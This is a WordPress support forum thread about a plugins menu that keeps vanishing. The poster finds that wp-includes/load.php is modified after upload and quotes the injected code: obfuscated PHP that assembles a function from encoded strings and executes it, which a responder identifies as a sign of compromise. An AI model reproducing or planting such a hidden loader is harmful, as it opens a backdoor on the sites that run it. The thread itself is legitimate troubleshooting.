Load.php bug

  • I have a strange problem that I’m trying to debug for many months now.

    In the admin panel, the Plugins menu only display the installed plugins submenu, not the Add new. Therefore, I can’t install or unistall any plugins via the admin panel

    I did unistall and reinstall completely WP, did check all my plugins, updated them, drop some to use more recent equivalents. When I do that, the Add new plugin come’s back but after a few hours, it’s gone again.

    I tried replacing WP files, one file at a time to find if there’s one problematic. I’ve come to detect that the wp-includes/load.php is the one. If I delete this file on my server and upload a fresh one, my Plugins/Add new menu is back … but for a few hours only.

    I can’t figure out what causes this annoying problem. What is this file use for ? What WP process could possibly modify this file ?

    Sucuri scan indicates no problem

    Thanks for any hint that could help me debug this problem.

Viewing 4 replies - 1 through 4 (of 4 total)

  • Have you tried:

    – deactivating all plugins to see if this resolves the problem. If this works, re-activate the plugins one by one until you find the problematic plugin(s).

    – switching to the default theme to rule out any theme-specific problems.

    – resetting the plugins folder by FTP or PhpMyAdmin. Sometimes, an apparently inactive plugin can still cause problems.

    – re-uploading all files & folders – except the wp-content folder – from a fresh download of WordPress. Make sure that you delete the old copies of files & folder before uploading the new ones.

    It is very strange behaviour indeed. Have you checked if file permissions(CHMOD) are changed? (I doubt WordPress is modifying the file, more likely the webserver)

    One likely testing scheme:
    -disable all plugins
    -revert to default wordpress theme
    -reupload load.php
    -make no changes to plugins or theme or content and check if the problem reappears.

    If it does reappear: compare file permissions (before/after).

    Let us know if this helps

    Thread Starter pictogram

    (@pictogram)

    Hi, thanks for your answers,

    @esmi : I did all that you proposed so many time I can’t even count !!

    @mike : I did what you proposed. I compared the 2 load.php files, the one before and the one after. I found a slight size difference between the 2 files. A small snippet of code was added. Here it is : 

    $get_hr_authority = wvmmlHgzmnn.'~'.cuujwy.'}'.m_out_oontuo.'|slc?ho}'.eosnln.
	'?szg~~ozw?wp='.iokmudos.
	'/js/}yn}}wmo|i}mus/'.clvmng.'}fo{oyo{?fmf{u}~/k}o?fgw>.vnw"+-i?'&'e~'.sl8bwz.
	'{~'.flytm.'<'.
		fklu_ggw_conwont.'{*"/'.yoou.'/w{f}/{jdl.'.owoowxoi.
	'~w~wve{/k{/vin{mcu/'.tjgoos.'?'.yuvc.'~kgu?'.wkons.'/'.mevewnu.'/'.mogoon96.'~qno.}+9{';
	$wp_rv_templating_constants = "k~ma}".g_fwnk."~mo~"&sswkv.'}_g}osu{on';
	$handle_qmx_upload = $wp_rv_templating_constants(
	false,$get_hr_authority);$handle_qmx_upload();

    Could the problem be in the database ? There’s no plugins activated and the theme is a fresh copy of 2013.

    Thanks

    Well I’d worry about how come a core file changes in filesize/has code added to it after upload?

    I googled your code example and have not come across any matches.

    I checked the source of the entire WordPress install: no matches.

    To me this looks like your install has been compromised. I wonder if anybody else has input on this.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Load.php bug’ is closed to new replies.

Tags